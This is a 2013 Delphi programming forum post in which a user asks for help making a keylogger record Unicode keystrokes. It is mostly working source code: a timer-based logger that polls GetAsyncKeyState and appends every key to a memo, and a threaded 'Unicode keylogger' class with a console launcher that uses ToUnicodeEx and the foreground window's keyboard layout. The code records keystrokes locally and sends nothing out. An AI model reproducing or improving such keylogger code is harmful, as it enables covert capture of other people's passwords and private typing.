View Single Post
  #1  
Old 06-23-2013, 06:53 PM
dzcoder dzcoder is offline
Junior Member
 
Join Date: Jun 2013
Posts: 1
Exclamation [help]Keylogger unicode ?

Hello , i am new at delphipages , i found this place is very good and helpful with
delphi programming .

i am trying to make a simple keylogger that record every keystroke when it's pressed .

i found a source and i make a simple keylogger but only record ENGLISH keys !
and numbers and symbols .

here is the code :
__________________________________________
procedure TForm1.captureTimer(Sender: TObject);
var
keyloop, KeyResult : Integer;
i : byte;
s: string;
begin




keyloop := 0;
repeat

KeyResult := GetAsyncKeyState(keyloop);











if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(' [<- BACKSPACE] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(#13#10); //ENTER

//16:coloca('[SHIFT]'); Removed !
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [PAGE UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [PAGE UP] ');
34: Coloca(' [PAGE DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [LEFT ARROW] ');
38: Coloca(' [UP ARROW] ');
39: Coloca(' [RIGHT ARROW] ');
40: Coloca(' [DOWN ARROW] ');
45: Coloca(' [INSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN LEFT] ');
92: Coloca(' [WIN RIGHT] ');
93: Coloca(' [MENU POP-UP] ');
//remove unwanted numbers
// 96: Coloca('0');
//97: Coloca('1');
//98: Coloca('2');
//99: Coloca('3');
//100: Coloca('4');
//101: Coloca('5');
//102: Coloca('6');
//103: Coloca('7');
//104: Coloca('8');
//105: Coloca('9');

106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');




44 : memo1.text := Memo1.text + '[PRINT SCREEN]';
145 : memo1.text := Memo1.text + '[SCROLL LOCK]';


//Number 1234567890 Symbol !@#$%^&*()
48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
else memo1.text:=memo1.text+'0';
49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
else memo1.text:=memo1.text+'1';
50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'@'
else memo1.text:=memo1.text+'2';
51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'#'
else memo1.text:=memo1.text+'3';
52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
else memo1.text:=memo1.text+'4';
53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
else memo1.text:=memo1.text+'5';
54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
else memo1.text:=memo1.text+'6';
55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
else memo1.text:=memo1.text+'7';
56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
else memo1.text:=memo1.text+'8';
57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
else memo1.text:=memo1.text+'9';


//with shift characrters

186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
else memo1.text:=memo1.text+';';
187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'+'
else memo1.text:=memo1.text+'=';
188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'<'
else memo1.text:=memo1.text+',';
189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
else memo1.text:=memo1.text+'-';
190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'>'
else memo1.text:=memo1.text+'.';
191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
else memo1.text:=memo1.text+'/';
192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'~'
else memo1.text:=memo1.text+'`';
219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'{'
else memo1.text:=memo1.text+'[';
220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'|'
else memo1.text:=memo1.text+'\';
221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'}'
else memo1.text:=memo1.text+']';
222 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
else memo1.text:=memo1.text+'''';

65..90 : // a..z , A..Z
begin
if ((GetKeyState(VK_CAPITAL))=1) then
if GetKeyState(VK_SHIFT)<0 then
memo1.text:=memo1.text+LowerCase(Chr(keyloop)) //a..z
else
memo1.text:=memo1.text+UpperCase(Chr(keyloop)) //A..Z
else
if GetKeyState(VK_SHIFT)<0 then
memo1.text:=memo1.text+UpperCase(Chr(keyloop)) //A..Z
else
memo1.text:=memo1.text+LowerCase(Chr(keyloop)); //a..z
end;






//193: Coloca('/');
194: Coloca(' [NUM POINT] ');

//226: Coloca('\');

else


// Deleted no needed !
//if (KeyLoop >= 65) and (keyloop <= 90) then
//Coloca(Chr(keyloop));

if (keyloop >= 32) and (keyloop <= 63) then
Coloca(Chr(keyloop));
//numpad keycodes
if (keyloop >= 96) and (keyloop <= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 300;
end;
__________________________________________________
can anyone please help me , i want to make it record unicode characters .
Also i found a source of unicode keylogger but i didn't understand how to
compile it or add it to my keylogger to make it record unicode.

here it is :


unit UnitKeyLogger;

interface

uses
Windows,Classes;

type
TUnicodeKeylogger = class(TThread)
private
{ Private declarations }
public
FActiveBackSpace:boolean;
FullLogData : string;
function IsKeyPressed(KeyCode: integer): boolean;
procedure AddKey(StrKey: string);
protected
procedure Execute; override;
end;

implementation

procedure TUnicodeKeylogger.AddKey(StrKey: string);
begin
FullLogData := FullLogData + StrKey;
write(StrKey);
end;

function TUnicodeKeylogger.IsKeyPressed(KeyCode: integer): boolean;
begin
result := (Windows.GetAsyncKeyState(KeyCode) and $8001) = $8001;
end;

procedure TUnicodeKeylogger.Execute;
var
VirtKey : UINT;
ScanCode : UINT;
UniEx : integer;
keyboardLayout : HKL;
keyboardSpeed : integer;
keyboardState : TKeyboardState;
strBuffer : string;
UnicodeChar : array[0..1] of WChar;
strkeyname : array[0..32] of char;
dwThread : DWORD;
dwProcess : DWORD;
dwHandle : HWND;
begin
Windows.SystemParametersInfo(Windows.SPI_GETKEYBOA RDSPEED, 0, @keyboardSpeed, 0);
while not Terminated do
begin
Windows.GetKeyState(VK_CAPITAL);
Windows.GetKeyboardState(keyboardState);
dwHandle:= Windows.GetForegroundWindow();
dwThread:= Windows.GetWindowThreadProcessId(dwHandle,@dwProce ss);
keyboardLayout:= Windows.GetKeyboardLayout(dwThread);
for VirtKey := 0 to $FF do
if IsKeyPressed(VirtKey) then
begin
if VirtKey = 8 then // silmeye basilirsa
begin
if FActiveBackSpace then
begin
Delete(FullLogData, Length(FullLogData), 1);
end
else
begin
Continue;
end;
end;
ScanCode := Windows.MapVirtualKeyEx(VirtKey, 0, keyboardLayout);
Windows.GetKeyNameTextA(ScanCode SHL 16,strkeyname,sizeof(strkeyname));
if Windows.lstrlenA(strkeyname) > 1 then
begin
if VirtKey = VK_SPACE then strkeyname := ' '; // bosluk tusu
if VirtKey = VK_RETURN then strkeyname := #13#10; // enter tusu
AddKey(strkeyname);
Continue;
end;
UniEx := Windows.ToUnicodeEx(VirtKey, ScanCode, @keyboardState, @UnicodeChar, 2, 0, keyboardLayout);
strBuffer := UnicodeChar;
SetLength(strBuffer,UniEx);
AddKey(strBuffer);
end;
Sleep(keyboardSpeed div 4);
end;
end;

end.

program Lib;

{$APPTYPE CONSOLE}

uses
Windows,
UnitKeyLogger in 'UnitKeyLogger.pas';

var
Msg : TMsg;
Keylogger:TUnicodeKeylogger ;
LangID : Cardinal;
begin
{ TODO -oUser -cConsole Main : Insert code here }
LangID:=Windows.GetUserDefaultLangID;
Windows.SetThreadLocale(LangID);
Keylogger:=TUnicodeKeylogger.Create(false);
Keylogger.Resume;

while Windows.GetMessage(Msg,0,0,0) do
begin
Windows.TranslateMessage(Msg);
Windows.DispatchMessageA(Msg);
end;
end.
__________
Any help ? :/

Last edited by dzcoder; 06-23-2013 at 07:00 PM.
Reply With Quote